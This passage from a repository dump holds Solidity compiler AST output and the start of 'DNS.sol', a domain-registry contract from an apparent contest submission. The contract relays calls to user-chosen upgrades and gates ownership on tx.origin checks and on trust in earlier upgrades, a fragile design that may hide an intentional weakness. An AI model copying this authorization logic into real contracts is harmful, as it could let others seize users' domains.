owner.\"},\"id\":2183,\"name\":\"Literal\",\"src\":\"1741:16:7\"}],\"id\":2184,\"name\":\"FunctionCall\",\"src\":\"1621:140:7\"}],\"id\":2185,\"name\":\"ExpressionStatement\",\"src\":\"1621:140:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_818369fc27b41970164aeb324b3b097bedf18c9052919a469ce89fd7dce7fa5e\",\"typeString\":\"literal_string \\\"Invalid ip.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":2186,\"name\":\"Identifier\",\"src\":\"1766:7:7\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2153,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":2187,\"name\":\"Identifier\",\"src\":\"1774:3:7\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":2188,\"name\":\"Literal\",\"src\":\"1781:1:7\"}],\"id\":2189,\"name\":\"BinaryOperation\",\"src\":\"1774:8:7\"},{\"attributes\":{\"hexvalue\":\"496e76616c69642069702e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid ip.\\\"\",\"value\":\"Invalid ip.\"},\"id\":2190,\"name\":\"Literal\",\"src\":\"1784:13:7\"}],\"id\":2191,\"name\":\"FunctionCall\",\"src\":\"1766:32:7\"}],\"id\":2192,\"name\":\"ExpressionStatement\",\"src\":\"1766:32:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2158,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":2193,\"name\":\"Identifier\",\"src\":\"1802:5:7\"}],\"id\":2195,\"name\":\"MemberAccess\",\"src\":\"1802:8:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2153,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":2196,\"name\":\"Identifier\",\"src\":\"1813:3:7\"}],\"id\":2197,\"name\":\"Assignment\",\"src\":\"1802:14:7\"}],\"id\":2198,\"name\":\"ExpressionStatement\",\"src\":\"1802:14:7\"}],\"id\":2199,\"name\":\"Block\",\"src\":\"1410:410:7\"}],\"id\":2200,\"name\":\"FunctionDefinition\",\"src\":\"1341:479:7\"},{\"attributes\":{\"baseFunctions\":[1451],\"functionSelector\":\"fbf58b3e\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"transfer\",\"scope\":2303,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":2206,\"name\":\"OverrideSpecifier\",\"src\":\"1889:8:7\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":2254,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":2201,\"name\":\"ElementaryTypeName\",\"src\":\"1841:6:7\"}],\"id\":2202,\"name\":\"VariableDeclaration\",\"src\":\"1841:21:7\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_owner\",\"scope\":2254,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":2203,\"name\":\"ElementaryTypeName\",\"src\":\"1864:7:7\"}],\"id\":2204,\"name\":\"VariableDeclaration\",\"src\":\"1864:14:7\"}],\"id\":2205,\"name\":\"ParameterList\",\"src\":\"1840:39:7\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2207,\"name\":\"ParameterList\",\"src\":\"1898:0:7\"},{\"children\":[{\"attributes\":{\"assignments\":[2209]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"entry\",\"scope\":2253,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct IDNS.Entry\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":2208,\"name\":\"UserDefinedTypeName\",\"src\":\"1902:5:7\"}],\"id\":2209,\"name\":\"VariableDeclaration\",\"src\":\"1902:19:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2062,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":2210,\"name\":\"Identifier\",\"src\":\"1924:4:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2202,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":2211,\"name\":\"Identifier\",\"src\":\"1929:7:7\"}],\"id\":2212,\"name\":\"IndexAccess\",\"src\":\"1924:13:7\"}],\"id\":2213,\"name\":\"VariableDeclarationStatement\",\"src\":\"1902:35:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_d52422f93f176965217b2b845cca9ccdc0a4d4ada13dd3778313a8d827b58963\",\"typeString\":\"literal_string \\\"Not the owner.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":2214,\"name\":\"Identifier\",\"src\":\"2109:7:7\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"||\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"&&\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":2215,\"name\":\"Identifier\",\"src\":\"2122:3:7\"}],\"id\":2216,\"name\":\"MemberAccess\",\"src\":\"2122:10:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"origin\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-26,\"type\":\"tx\",\"value\":\"tx\"},\"id\":2217,\"name\":\"Identifier\",\"src\":\"2136:2:7\"}],\"id\":2218,\"name\":\"MemberAccess\",\"src\":\"2136:9:7\"}],\"id\":2219,\"name\":\"BinaryOperation\",\"src\":\"2122:23:7\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2209,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":2220,\"name\":\"Identifier\",\"src\":\"2149:5:7\"}],\"id\":2221,\"name\":\"MemberAccess\",\"src\":\"2149:11:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":2222,\"name\":\"Identifier\",\"src\":\"2164:3:7\"}],\"id\":2223,\"name\":\"MemberAccess\",\"src\":\"2164:10:7\"}],\"id\":2224,\"name\":\"BinaryOperation\",\"src\":\"2149:25:7\"}],\"id\":2225,\"name\":\"BinaryOperation\",\"src\":\"2122:52:7\"}],\"id\":2226,\"name\":\"TupleExpression\",\"src\":\"2121:54:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address_payable\",\"typeString\":\"address payable\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2281,\"type\":\"function (address,address) view returns (bool)\",\"value\":\"isPreviousTrustedDNS\"},\"id\":2227,\"name\":\"Identifier\",\"src\":\"2179:20:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":2228,\"name\":\"Identifier\",\"src\":\"2200:3:7\"}],\"id\":2229,\"name\":\"MemberAccess\",\"src\":\"2200:10:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2209,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":2230,\"name\":\"Identifier\",\"src\":\"2212:5:7\"}],\"id\":2231,\"name\":\"MemberAccess\",\"src\":\"2212:11:7\"}],\"id\":2232,\"name\":\"FunctionCall\",\"src\":\"2179:45:7\"}],\"id\":2233,\"name\":\"BinaryOperation\",\"src\":\"2121:103:7\"},{\"attributes\":{\"hexvalue\":\"4e6f7420746865206f776e65722e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Not the owner.\\\"\",\"value\":\"Not the owner.\"},\"id\":2234,\"name\":\"Literal\",\"src\":\"2229:16:7\"}],\"id\":2235,\"name\":\"FunctionCall\",\"src\":\"2109:140:7\"}],\"id\":2236,\"name\":\"ExpressionStatement\",\"src\":\"2109:140:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"},{\"typeIdentifier\":\"t_stringliteral_7237b40c37ff5118ba1ddef24c550790af93dd9b94bae5bf99b9f4af8569f664\",\"typeString\":\"literal_string \\\"Invalid owner.\\\"\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool,string memory) pure\",\"value\":\"require\"},\"id\":2237,\"name\":\"Identifier\",\"src\":\"2254:7:7\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2204,\"type\":\"address\",\"value\":\"_owner\"},\"id\":2238,\"name\":\"Identifier\",\"src\":\"2262:6:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address payable\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_0_by_1\",\"typeString\":\"int_const 0\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":2239,\"name\":\"ElementaryTypeName\",\"src\":\"2272:7:7\"}],\"id\":2240,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"2272:7:7\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":2241,\"name\":\"Literal\",\"src\":\"2280:1:7\"}],\"id\":2242,\"name\":\"FunctionCall\",\"src\":\"2272:10:7\"}],\"id\":2243,\"name\":\"BinaryOperation\",\"src\":\"2262:20:7\"},{\"attributes\":{\"hexvalue\":\"496e76616c6964206f776e65722e\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Invalid owner.\\\"\",\"value\":\"Invalid owner.\"},\"id\":2244,\"name\":\"Literal\",\"src\":\"2284:16:7\"}],\"id\":2245,\"name\":\"FunctionCall\",\"src\":\"2254:47:7\"}],\"id\":2246,\"name\":\"ExpressionStatement\",\"src\":\"2254:47:7\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"address\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2209,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":2247,\"name\":\"Identifier\",\"src\":\"2305:5:7\"}],\"id\":2249,\"name\":\"MemberAccess\",\"src\":\"2305:11:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2204,\"type\":\"address\",\"value\":\"_owner\"},\"id\":2250,\"name\":\"Identifier\",\"src\":\"2319:6:7\"}],\"id\":2251,\"name\":\"Assignment\",\"src\":\"2305:20:7\"}],\"id\":2252,\"name\":\"ExpressionStatement\",\"src\":\"2305:20:7\"}],\"id\":2253,\"name\":\"Block\",\"src\":\"1898:431:7\"}],\"id\":2254,\"name\":\"FunctionDefinition\",\"src\":\"1823:506:7\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"isPreviousTrustedDNS\",\"scope\":2303,\"stateMutability\":\"view\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_addr\",\"scope\":2281,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":2255,\"name\":\"ElementaryTypeName\",\"src\":\"2362:7:7\"}],\"id\":2256,\"name\":\"VariableDeclaration\",\"src\":\"2362:13:7\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_entryOwner\",\"scope\":2281,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":2257,\"name\":\"ElementaryTypeName\",\"src\":\"2377:7:7\"}],\"id\":2258,\"name\":\"VariableDeclaration\",\"src\":\"2377:19:7\"}],\"id\":2259,\"name\":\"ParameterList\",\"src\":\"2361:36:7\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":2281,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":2260,\"name\":\"ElementaryTypeName\",\"src\":\"2421:4:7\"}],\"id\":2261,\"name\":\"VariableDeclaration\",\"src\":\"2421:4:7\"}],\"id\":2262,\"name\":\"ParameterList\",\"src\":\"2420:6:7\"},{\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2256,\"type\":\"address\",\"value\":\"_addr\"},\"id\":2263,\"name\":\"Identifier\",\"src\":\"2435:5:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":2264,\"name\":\"ElementaryTypeName\",\"src\":\"2444:7:7\"}],\"id\":2265,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"2444:7:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2064,\"type\":\"contract IDNS\",\"value\":\"originalDNS\"},\"id\":2266,\"name\":\"Identifier\",\"src\":\"2452:11:7\"}],\"id\":2267,\"name\":\"FunctionCall\",\"src\":\"2444:20:7\"}],\"id\":2268,\"name\":\"BinaryOperation\",\"src\":\"2435:29:7\"},{\"attributes\":{\"functionReturnParameters\":2262},\"children\":[{\"attributes\":{\"hexvalue\":\"74727565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"true\"},\"id\":2269,\"name\":\"Literal\",\"src\":\"2541:4:7\"}],\"id\":2270,\"name\":\"Return\",\"src\":\"2534:11:7\"}],\"id\":2271,\"name\":\"IfStatement\",\"src\":\"2431:114:7\"},{\"attributes\":{\"functionReturnParameters\":2262},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"isTrustedUpgrade\",\"referencedDeclaration\":1940,\"type\":\"function (contract IDNS,address) view external returns (bool)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2066,\"type\":\"contract Upgrade\",\"value\":\"upgradeInfo\"},\"id\":2272,\"name\":\"Identifier\",\"src\":\"2556:11:7\"}],\"id\":2273,\"name\":\"MemberAccess\",\"src\":\"2556:28:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":2274,\"name\":\"Identifier\",\"src\":\"2585:4:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2256,\"type\":\"address\",\"value\":\"_addr\"},\"id\":2275,\"name\":\"Identifier\",\"src\":\"2590:5:7\"}],\"id\":2276,\"name\":\"FunctionCall\",\"src\":\"2585:11:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2258,\"type\":\"address\",\"value\":\"_entryOwner\"},\"id\":2277,\"name\":\"Identifier\",\"src\":\"2598:11:7\"}],\"id\":2278,\"name\":\"FunctionCall\",\"src\":\"2556:54:7\"}],\"id\":2279,\"name\":\"Return\",\"src\":\"2549:61:7\"}],\"id\":2280,\"name\":\"Block\",\"src\":\"2427:187:7\"}],\"id\":2281,\"name\":\"FunctionDefinition\",\"src\":\"2332:282:7\"},{\"attributes\":{\"baseFunctions\":[1461],\"functionSelector\":\"461a4478\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"resolve\",\"scope\":2303,\"stateMutability\":\"view\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":2285,\"name\":\"OverrideSpecifier\",\"src\":\"2671:8:7\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":2302,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":2282,\"name\":\"ElementaryTypeName\",\"src\":\"2634:6:7\"}],\"id\":2283,\"name\":\"VariableDeclaration\",\"src\":\"2634:21:7\"}],\"id\":2284,\"name\":\"ParameterList\",\"src\":\"2633:23:7\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":2302,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":2286,\"name\":\"ElementaryTypeName\",\"src\":\"2689:6:7\"}],\"id\":2287,\"name\":\"VariableDeclaration\",\"src\":\"2689:6:7\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":2302,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":2288,\"name\":\"ElementaryTypeName\",\"src\":\"2697:7:7\"}],\"id\":2289,\"name\":\"VariableDeclaration\",\"src\":\"2697:7:7\"}],\"id\":2290,\"name\":\"ParameterList\",\"src\":\"2688:17:7\"},{\"children\":[{\"attributes\":{\"functionReturnParameters\":2290},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2062,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":2291,\"name\":\"Identifier\",\"src\":\"2718:4:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2283,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":2292,\"name\":\"Identifier\",\"src\":\"2723:7:7\"}],\"id\":2293,\"name\":\"IndexAccess\",\"src\":\"2718:13:7\"}],\"id\":2294,\"name\":\"MemberAccess\",\"src\":\"2718:16:7\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2062,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":2295,\"name\":\"Identifier\",\"src\":\"2736:4:7\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2283,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":2296,\"name\":\"Identifier\",\"src\":\"2741:7:7\"}],\"id\":2297,\"name\":\"IndexAccess\",\"src\":\"2736:13:7\"}],\"id\":2298,\"name\":\"MemberAccess\",\"src\":\"2736:19:7\"}],\"id\":2299,\"name\":\"TupleExpression\",\"src\":\"2717:39:7\"}],\"id\":2300,\"name\":\"Return\",\"src\":\"2710:46:7\"}],\"id\":2301,\"name\":\"Block\",\"src\":\"2706:54:7\"}],\"id\":2302,\"name\":\"FunctionDefinition\",\"src\":\"2617:143:7\"}],\"id\":2303,\"name\":\"ContractDefinition\",\"src\":\"744:2018:7\"}],\"id\":2304,\"name\":\"SourceUnit\",\"src\":\"36:2727:7\"}}},\"version\":\"0.7.4+commit.3f05b770.Linux.g++\"}\n"
  },
  {
    "path": "2020/submissions_2020/submission12_LeonardoAlt/src/DNS.sol",
    "content": "// SPDX-License-Identifier: GPL-v3\n\npragma solidity ^0.7.0;\npragma experimental ABIEncoderV2;\n\nimport './IDNS.sol';\nimport './Upgrade.sol';\n\n/// @title Simple implementation of a DNS.\n/// @notice It uses `Upgrade` as its upgrade mechanism.\n/// If a user chooses to\n/// upgrade, the functions in this contract will relay the message to the\n/// upgrade chosen by that user.\n/// Users should only trust and opt-in upgrades that only accept messages where\n/// msg.sender == tx.origin or\n/// msg.sender is the original DNS contract or\n/// msg.sender is an upgrade that the user trusted at some point.\ncontract DNS is IDNS, Upgrade {\n\tmapping (string => Entry) data;\n\n\t/// @notice The upgrade engine for this DNS contract.\n\t/// Users need to actively opt-in the latest suggested upgrade\n\t/// in the `upgradeInfo` contract.\n\t/// If that upgrade is finalized and the user opted in, their calls\n\t/// will be directed to the upgrade contract they chose.\n\t/// That information is retrieved via `upgradeInfo.activeUpgrade(msg.sender)`.\n\tUpgrade immutable public upgradeInfo;\n\n\tconstructor(Upgrade _upgradeInfo) {\n\t\tupgradeInfo = _upgradeInfo;\n\t}\n\n\tfunction register(string memory _domain, bytes4 _ip, address _owner) external override {\n\t\t(bool upgrade, IDNS to) = upgradeInfo.activeUpgrade(msg.sender);\n\t\tif (upgrade) {\n\t\t\tIDNS(to).register(_domain, _ip, _owner);\n\t\t\treturn;\n\t\t}\n\n\t\trequire(_ip != 0, \"Invalid ip.\");\n\t\trequire(bytes(_domain).length > 0, \"Invalid domain.\");\n\n\t\tEntry storage entry = data[_domain];\n\t\trequire(entry.ip == 0 && entry.owner == address(0), \"Domain already taken.\");\n\n\t\tentry.ip = _ip;\n\t\tentry.owner = _owner;\n\t}\n\n\tfunction update(string memory _domain, bytes4 _ip) external override {\n\t\t(bool upgrade, IDNS to) = upgradeInfo.activeUpgrade(msg.sender);\n\t\tif (upgrade) {\n\t\t\t(,address owner) = IDNS(to).resolve(_domain);\n\t\t\trequire(owner == msg.sender, \"Not the owner in upgraded contract.\");\n\t\t\tIDNS(to).update(_domain, _ip);\n\t\t\treturn;\n\t\t}\n\n\t\tEntry storage entry = data[_domain];\n\t\trequire(entry.owner == msg.sender, \"Not the owner.\");\n\t\trequire(_ip != 0, \"Invalid ip.\");\n\t\tentry.ip = _ip;\n\t}\n\n\tfunction transfer(string memory _domain, address _owner) external override {\n\t\t(bool 